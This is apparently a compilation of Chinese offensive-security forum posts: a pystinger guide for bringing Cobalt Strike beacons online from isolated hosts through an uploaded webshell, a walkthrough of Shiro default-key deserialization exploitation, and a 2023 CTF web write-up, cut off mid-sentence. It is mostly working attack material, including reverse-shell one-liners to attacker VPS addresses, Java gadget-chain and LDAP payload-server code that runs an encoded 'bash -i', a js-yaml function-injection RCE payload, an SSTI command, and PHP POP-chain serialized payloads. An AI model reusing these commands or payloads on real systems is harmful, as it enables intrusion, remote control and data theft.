INFO - 647 - mirror_address_list => [] 2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200 2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020 2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01 2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config --- 2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020 2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020 2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start 2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000 2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept 此时已经在vps127.0.0.1:60000启动了一个example.com所在内网的socks4a代理此时已经将目标服务器的127.0.0.1:60020映射到vps的127.0.0.1:60020cobalt strike单主机上线proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连 stinger_client命令行执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000如下输出表示成功root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000 2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ... 2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass 2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000 2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ... 2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass 2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp 2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ... 2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass 2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config --- 2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => [] 2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010 2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO 2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020 2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => [] 2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200 2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020 2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01 2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config --- 2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020 2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020 2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start 2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000 2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept cobalt strike添加监听,端口选择输出信息RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为127.0.0.1生成payload,上传到主机运行后即可上线cobalt strike多主机上线proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行 start D:/XXX/stinger_server.exe 192.168.3.11 启动服务端 192.168.3.11可以改成0.0.0.0 stinger_client命令行执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000如下输出表示成功root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000 2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ... 2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass 2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000 2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ... 2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass 2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp 2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ... 2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass 2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config --- 2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => [] 2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010 2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO 2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 192.168.3.11:60020 2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => [] 2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200 2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020 2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01 2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config --- 2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020 2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 192.168.3.11:60020 2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start 2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000 2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept cobalt strike添加监听,端口选择RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为192.168.3.11(example.com的内网IP地址)生成payload,上传到主机运行后即可上线横向移动到其他主机时可以将payload指向192.168.3.11:60020即可实现出网上线定制Header及proxy如果webshell需要配置Cookie或者Authorization,可通过--header参数配置请求头--header "Authorization: XXXXXX,Cookie: XXXXX" 如果webshell需要通过代理访问,可通过--proxy设置代理--proxy "socks5:127.0.0.1:1081" 测试攻击机:192.168.1.89 假设我们在拿下一台目标主机,但是无法连接外网。 使用 pystinger 工具进行 CS 上线,下载地址,通过 webshell 实现内网 SOCK4 代理,端口映射可以使目标不出网情况下在 CS 上线。 首先上传对应版本脚本到目标服务器。 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start stinger_server.exe启动服务端 把 stinger_client 上传到 teamserver 服务器,-w 指定 proxy 的 url 地址运行。 chmod +x stinger_client ./stinger_client -w http://192.168.1.70/proxy.php -l 127.0.0.1 -p 60000 CS 新建监听器,设置为目标机器的内网 IP,端口默认 60020。(teamserver 服务器和执行 stinger_client 应为同一台服务器) 生成木马,上传目标服务器并执行。可看到 CS 有新上线主机。 转自于原文链接:https://forum.butian.net/share/1644
-
shiro泄露key无依赖链利用技巧
获取环境:拉取镜像到本地 启动环境 $ docker run -d -p 80:8080 medicean/vulapps:s_shiro_11.使用shiro_attack_2.2工具对目标系统进行检查,发现有默认key但是无利用链 2.使用shior_tools.jar 直接对目标系统进行检测,检测完毕后会返回可执行操作 java -jar shiro_tool.jar http://10.11.10.108:8081/login.jsp 2、选0让输入dnslog地址,通过dnslog测试有回显,这里有个注意点:使用 http://dnslog.cn/ 部分站点会拦截,可以换多个dnslog平台测试 dnslog有回显接下来就是拿shell了,这里由于固定思维,之前遇到的都是linux系统,先入为主觉得是Linux,结果没利用成功,一开始以为是防火墙拦截,后面探测了一下目录结构,发现是windows,所以这里payload要改变一下 3、在公网VPS上使用ysoserial开启端口,执行反弹命令 java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 1999 CommonsCollections5 "编码后bash命令" 这里面的编码的内容在步骤4 坑一:CommonsCollection1-5 如果不反弹shell,换着使用 4、bash反弹命令编辑 https://x.hacking8.com/java-runtime.html //编码的链接 下面三种执行命令,酌情选择: 坑二:这里执行的bash命令,首先要看对方运行系统,如果是linxu下面三个换着试,如果是win另行百度反弹命令。 bash -i >& /dev/tcp/VPSIP/7777 0>&1 /bin/bash -i > /dev/tcp/VPSIP/7777 0<&1 2>&1 0<&196;exec 196<>/dev/tcp/VPSIP/7777; sh <&196 >&196 2>&196 这里选择第二种,ip:是接受shell的vps的ip,端口:是vps用nc开启监听反弹到的端口 /bin/bash -i > /dev/tcp/192.168.14.222/8888 0<&1 2>&1 Windows:java -cp ysoserial-0.0.6-SNAPSHOT-1.8.3.jar ysoserial.exploit.JRMPListener 88 CommonsBeanutils2 "ldap://VPS地址:1389/Basic/Command/Base64/d2hvYW1p" d2hvYW1p为命令的base64,这里是执行命令whoami java -jar JNDIExploit-1.0-SNAPSHOT.jar -i VPS地址 5、nc监听 6、输入接收shell的vps的ip和java-ysoserial-JRMPListener开启的端口(这里选择1,使用JRMPClient反弹shell) 7、执行成功,反弹shell
-
2023安洵杯第六届网络安全挑战赛 WP
web ai_java 首先通过附件帐号信件获取到帐号 通过base64或者jsfuck可获取提示js和c,审计一下js那么可以看到c函数,运行一下。获取到 github 项目地址 查找提交历史我们发现了源码 审计源码发现为 可能存在spring–boot 未授权绕过 在admin的页面下的/post_message/接口存在fastjson解析 查看具体版本发现无法直接ladp攻击,查看依赖 发现引入了shiro。使用 SerializedData + LDAP 攻击. 和无依赖 CB 进行反弹 shell public class CB { public static void setFieldValue(Object obj, String fieldName, Objec t value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static Comparator getValue(Object instance) throws NoSuchFiel dException, IllegalAccessException { Class<?> clazz = instance.getClass(); // 获取私有变量的 Field 对象 Field privateField = clazz.getDeclaredField("INSTANCE"); // 设置私有变量的访问权限 privateField.setAccessible(true); // 获取私有变量的值 Object value = privateField.get(instance); return (Comparator) value; } public static byte[] getPayload() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(evil.class.getName()); byte[] code =clazz.toBytecode(); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{code}); setFieldValue(obj, "_name", "tvt"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); final BeanComparator comparator = new BeanComparator(null, getVa lue(new Headers())); Queue queue = new PriorityQueue(2, comparator); queue.add("1"); queue.add("1"); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{obj, obj}); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); byte[] byteArray = barr.toByteArray(); String base64EncodedData = Base64.getEncoder().encodeToString(by teArray); System.out.println(base64EncodedData); return byteArray; } } public class evil extends AbstractTranslet { public void transform(DOM var1, SerializationHandler[] var2) throws TransletException { } public void transform(DOM var1, DTMAxisIterator var2, SerializationH andler var3) throws TransletException { } public static void main(String[] args) throws Exception { Runtime.getRuntime().exec("bash -c {echo,5L2g5oOz6LWj5LuA5LmI44CC5YaZ6Ieq5bex55qE5ZG95Luk}|{base64,-d}|{bash,-i}"); } public evil() throws Exception { Runtime.getRuntime().exec("bash -c {echo,5L2g5oOz6LWj5LuA5LmI44CC5YaZ6Ieq5bex55qE5ZG95Luk}|{base64,-d}|{bash,-i}"); } } public class LDAPSerialServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main ( String[] tmp_args ) { String[] args=new String[]{"http://127.0.0.1:8000/#EvilClass"}; int port = 7777; try { InMemoryDirectoryServerConfig config = new InMemoryDirectory ServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationIntercep tor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(con fig); System.out.println("Listening on 0.0.0.0:" + port); //$NON-N LS-1$ ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationI nterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this.codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResul t result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult resu lt, String base, Entry e ) throws Exception { System.out.println("Send LDAP reference result for " + base + " return CB gadgets"); e.addAttribute("javaClassName", "DeserPayload"); //$NON-NLS- 1$ String base64EncodedData = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3Jp dHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0N vbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbk NvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAAST GphdmEvbGFuZy9TdHJpbmc7eHBzcgA/Y29tLnN1bi54bWwuaW50ZXJuYWwud3MudHJhbnNw b3J0LkhlYWRlcnMkSW5zZW5zaXRpdmVDb21wYXJhdG9yyIEeXDpxA/ECAAB4cHQAEG91dHB 1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybm FsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlc kkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2 YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZ hL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdX IAAltCrPMX+AYIVOACAAB4cAAABinK/rq+AAAANAA1CgAiACMIACQKACIAJQoAJgAnCgAHA CgHACkHACoBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRl cm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3Nlcml hbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYm xlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxldmlsOwEABHZhcjEBAC1MY29tL 3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAR2YXIyAQBCW0xj b20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGl vbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbG FuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hb C9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL9hcGFjaGUveG1sL2ludGVybmFsL3Nlc mlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBADVMY29tL3N1bi9vcmcvYXBhY2hl L3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEABHZhcjMBAEFMY29tL3N1bi9 vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbG VyOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sY W5nL1N0cmluZzsHACwBAAY8aW5pdD4BAAMoKVYBAApTb3VyY2VGaWxlAQAJZXZpbC5qYXZh BwAtDAAuAC8BAGFiYXNoIC1jIHtlY2hvLFltRnphQ0F0YVNBK0ppOWtaWFl2ZEdOd0x6UTN MakV4TXk0eE9Ua3VNVFE0THpnNE9EZ2dNRDRtTVE9PX18e2Jhc2U2NCwtZH18e2Jhc2gsLW l9DAAwADEHADIMADMANAwAHgAfAQAEZXZpbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhb i9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29y Zy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZ hL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKC lMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphd mEvbGFuZy9Qcm9jZXNzOwEAA0NDNgEACmdldFBheWxvYWQBAAQoKVtCACEABgAHAAAAAAAE AAEACAAJAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAALAAwAAAAgAAMAAAABAA0 ADgAAAAAAAQAPABAAAQAAAAEAEQASAAIAEwAAAAQAAQAUAAEACAAVAAIACgAAAEkAAAAEAA AAAbEAAAACAAsAAAAGAAEAAAAOAAwAAAAqAAQAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAE QAWAAIAAAABABcAGAADABMAAAAEAAEAFAAJABkAGgACAAoAAABAAAIAAQAAAA64AAESArYA A1e4AARXsQAAAAIACwAAAA4AAwAAABEACQASAA0AEwAMAAAADAABAAAADgAbABwAAAATAAA ABAABAB0AAQAeAB8AAgAKAAAAQAACAAEAAAAOKrcABbgAARICtgADV7EAAAACAAsAAAAOAA MAAAAUAAQAFQANABYADAAAAAwAAQAAAA4ADQAOAAAAEwAAAAQAAQAdAAEAIAAAAAIAIXB0A AN0dnRwdwEAeHEAfgANeA=="; e.addAttribute("javaSerializedData", Base64.getDecoder().dec ode(base64EncodedData)); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } } 我们对编译好的 CB 使 base64 编码,不直接调用.防止 jar 包时的内部 api 错误. 本地我们使用 CVE-2022-22978 绕过身份认证,使用 fastjson 的缓存绕过,实现 jndi注入 的发起. signal 首先这个题因为是把其他文件格式转换为yaml格式然后yaml.load()会加载为js对象,在github找js-yaml文档说明,怎么解析对象的,官网也给了例子的,这里就直接看它能解析成什么 发现能解析方法 js-yaml的version 是3.14.1 ,跟新版本提交对比 https://github.com/nodeca/js-yaml/commit/ee74ce4b4800282b2f23b776be7dc95dfe34db1c 这是默认为危险模式的最后一个版本,该模式允许您使用 tag 构造任意 JS 函数。!!js/function 然后在模版渲染的地方,会自动调用对象的tostring方法 所以上传文件yaml文件内容为下面payload就行了 "name" : { toString: !!js/function "function(){ flag = process.mainModule.require('child_process').execSync('cat /fla*').toString(); return flag;}"} Swagger docs 1.读接口文档弄清楚网站功能 2.注册用户 http://47.108.206.43:40476/api-base/v0/register {"username":"admin","password":"admin"} 3.登陆 http://47.108.206.43:40476/api-base/v0/login {"username":"admin","password":"admin"} 4.任意文件读取 测试发现在/api-base/v0/search接口存在任意文件读取 读进程 http://47.108.206.43:40476/api-base/v0/search?file=../../../../../proc/1/cmdline&type=text 读源码位置 http://47.108.206.43:40476/api-base/v0/search?file=../../../../../app/run.sh&type=text 读源码 5.代码审计 发现/api-base/v0/search存在render_template_string(),可导致ssti造成rce,只需要控制渲染内容即可 uapate()函数中存在类似于原型链污染,可以利用来修改环境变量 这一步思路就是通过原型链污染,修改http_proxy环境变量,即可控制请求的响应数据来造成ssti,实现rce。 http://47.108.206.43:40476/api-base/v0/update { "__init__": { "__globals__": { "os": { "environ": { "http_proxy":"ip:port" } } } } } 修改代理后即可随意发送请求(注意:得选择text才能进入渲染) http://47.108.206.43:40476/api-base/v0/search?file=user&type=text VPS控制请求响应: HTTP/1.1 200 OK {{lipsum.__globals__['os'].popen('cat EY6zl0isBvAWZFxZMvCCCTS3VRVMvoNi_FLAG').read()}} 此外,除了配合render_template_string()实现rce以外,还有其他师傅采用了其他方法。这里贴一个p4d0rn师傅的方法,感谢p4d0rn的支持! easy_unserialize 被打爆了QAQ, 考虑实在不周到, 导致出现了很多非预期解, 向师傅们说抱歉了 题目: <?php error_reporting(0); class Good{ public $g1; private $gg2; public function __construct($ggg3) { $this->gg2 = $ggg3; } public function __isset($arg1) { if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2)) { if ($this->gg2) { $this->g1->g1=666; } }else{ die("No"); } } } class Luck{ public $l1; public $ll2; private $md5; public $lll3; public function __construct($a) { $this->md5 = $a; } public function __toString() { $new = $this->l1; return $new(); } public function __get($arg1) { $this->ll2->ll2('b2'); } public function __unset($arg1) { if(md5(md5($this->md5)) == 666) { if(empty($this->lll3->lll3)){ echo "There is noting"; } } } } class To{ public $t1; public $tt2; public $arg1; public function __call($arg1,$arg2) { if(urldecode($this->arg1)===base64_decode($this->arg1)) { echo $this->t1; } } public function __set($arg1,$arg2) { if($this->tt2->tt2) { echo "what are you doing?"; } } } class You{ public $y1; public function __wakeup() { unset($this->y1->y1); } } class Flag{ public function __invoke() { echo "May be you can get what you want here"; array_walk($this, function ($one, $two) { $three = new $two($one); foreach($three as $tmp){ echo ($tmp.'<br>'); } }); } } if(isset($_POST['D0g3'])) { unserialize($_POST['D0g3']); }else{ highlight_file(__FILE__); } ?> 第一点: shell脚本变量构造数字 if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2)) if ($this->gg2) // 故: $g = new Good('${##}'); 另: 由于本题出题人的失误, 题目中preg_match() 这里逻辑其实有问题, 导致任意赋值均可 第二点: 双重md5: if(md5(md5($this->md5)) == 666) md5.py: # -*- coding: utf-8 -*- # 运行: python2 md5.py "666" 0 import multiprocessing import hashlib import random import string import sys CHARS = string.ascii_letters + string.digits def cmp_md5(substr, stop_event, str_len, start=0, size=20): global CHARS while not stop_event.is_set(): rnds = ''.join(random.choice(CHARS) for _ in range(size)) md5 = hashlib.md5(rnds) value = md5.hexdigest() if value[start: start + str_len] == substr: # print rnds # stop_event.set() # 碰撞双md5 md5 = hashlib.md5(value) if md5.hexdigest()[start: start + str_len] == substr: print rnds + "=>" + value + "=>" + md5.hexdigest() + "\n" stop_event.set() if __name__ == '__main__': substr = sys.argv[1].strip() start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0 str_len = len(substr) cpus = multiprocessing.cpu_count() stop_event = multiprocessing.Event() processes = [multiprocessing.Process(target=cmp_md5, args=(substr, stop_event, str_len, start_pos)) for i in range(cpus)] for p in processes: p.start() for p in processes: p.join() python2 md5.py "666" 0 三部分从左向右分别是源字符串、md5一次加密、md5二次加密 取符合要求(本题要求前三位为666)的md5二次加密对应的源字符串即可 (可能需要运行多次) 第三点: if(urldecode($this->arg1)===base64_decode($this->arg1)) 可以用数组绕过: $t = new To(); $t->arg1[]=1; 也可以直接赋值为空: $t = new To(); $t->arg1 = ''; 第四点 : array_walk($this, function ($one, $two) { $three = new $two($one); foreach($three as $tmp){ echo ($tmp.'<br>'); } }); 这里先用原生类FilesystemIterator或DirectoryIterator扫目录, 再用原生类SplFileObject读flag 即: class Flag{ public $FilesystemIterator='/'; //扫目录文件 // 或者是 public $DirectoryIterator = "glob:///F*"; } class Flag{ public $SplFileObject='/FfffLlllLaAaaggGgGg'; //读文件 以下是完整的pop链: //原生类FilesystemIterator或DirectoryIterator扫目录: <?php error_reporting(0); class Good{ public $g1; private $gg2; public function __construct($ggg3) { $this->gg2 = $ggg3; } } class Luck{ public $l1; public $ll2; public $lll3; private $md5; public function __construct($a) { $this->md5 = $a; } } class To{ public $t1; public $tt2; public $arg1; } class You{ public $y1; public function __wakeup() { unset($this->y1->y1); } } class Flag{ public $FilesystemIterator='/'; //扫目录文件 // 或者是 public $DirectoryIterator = "glob:///F*"; } $g = new Good('${##}'); $l= new Luck('wSjM90msQ7RqwX3tvQ42');// 这个不固定 $t = new To(); $y= new You(); $f = new Flag(); $y->y1=$l; // You::__wakeup()->Luck::__unset() $l->lll3=$g; // Luck::__unset()->Good::__isset() $g->g1=$t; // Good::__isset()->To::__set() $t->tt2=$l; // To::__set()->Luck::__get() $l->ll2=$t; // Luck::__get()->To::__call() $t->arg1[]=1; $t->t1=$l; // To::__call()->Luck::__toString() $l->l1=$f; // Luck::__toString()->Flag::__invoke() echo urlencode(serialize($y)); //对应payload: O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BO%3A4%3A%22Flag%22%3A1%3A%7Bs%3A18%3A%22FilesystemIterator%22%3Bs%3A1%3A%22%2F%22%3B%7Ds%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A5%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D 可以用FilesystemIterator类: 或者用DirectoryIterator类: //原生类SplFileObject读文件 <?php error_reporting(0); class Good{ public $g1; private $gg2; public function __construct($ggg3) { $this->gg2 = $ggg3; } } class Luck{ public $l1; public $ll2; public $lll3; private $md5; public function __construct($a) { $this->md5 = $a; } } class To{ public $t1; public $tt2; public $arg1; } class You{ public $y1; public function __wakeup() { unset($this->y1->y1); } } class Flag{ public $SplFileObject='/FfffLlllLaAaaggGgGg'; //读文件 } $g = new Good('${##}'); $l= new Luck('wSjM90msQ7RqwX3tvQ42'); // 这个不固定 $t = new To(); $y= new You(); $f = new Flag(); $y->y1=$l; // You::__wakeup()->Luck::__unset() $l->lll3=$g; // Luck::__unset()->Good::__isset() $g->g1=$t; // Good::__isset()->To::__set() $t->tt2=$l; // To::__set()->Luck::__get() $l->ll2=$t; // Luck::__get()->To::__call() $t->arg1[]=1; $t->t1=$l; // To::__call()->Luck::__toString() $l->l1=$f; // Luck::__toString()->Flag::__invoke() echo urlencode(serialize($y)); //对应payload: O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BO%3A4%3A%22Flag%22%3A1%3A%7Bs%3A13%3A%22SplFileObject%22%3Bs%3A20%3A%22%2FFfffLlllLaAaaggGgGg%22%3B%7Ds%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A5%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D 其他非预期解: 在__toString()到__invoke()衔接的时候可以直接用phpinfo: public function __toString() { $new = $this->l1; return $new(); // 可以直接调用phpinfo来读取flag } 完整的pop链: <?php error_reporting(0); class Good{ public $g1; private $gg2; public function __construct($ggg3) { $this->gg2 = $ggg3; } } class Luck{ public $l1; public $ll2; public $lll3; private $md5; public function __construct($a) { $this->md5 = $a; } } class To{ public $t1; public $tt2; public $arg1; } class You{ public $y1; public function __wakeup() { unset($this->y1->y1); } } $g = new Good('${##}'); $l= new Luck('wSjM90msQ7RqwX3tvQ42');// 这个不固定 $t = new To(); $y= new You(); $y->y1=$l; // You::__wakeup()->Luck::__unset() $l->lll3=$g; // Luck::__unset()->Good::__isset() $g->g1=$t; // Good::__isset()->To::__set() $t->tt2=$l; // To::__set()->Luck::__get() $l->ll2=$t; // Luck::__get()->To::__call() $t->arg1[]=1; $t->t1=$l; // To::__call()->Luck::__toString() $l->l1='phpinfo'; // Luck::__toString()->phpinfo echo urlencode(serialize($y)); // O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3Bs%3A7%3A%22phpinfo%22%3Bs%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A4%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D 然后得到flag 借用一下Hyperion战队师傅的图: what’s my name @$miao=create_function('$a, $b', $sort_function); 这里有一个典型的create_function的注入 ?d0g3="]);}任意代码执行;/* 要进入该函数需要过三个条件 第一个条件 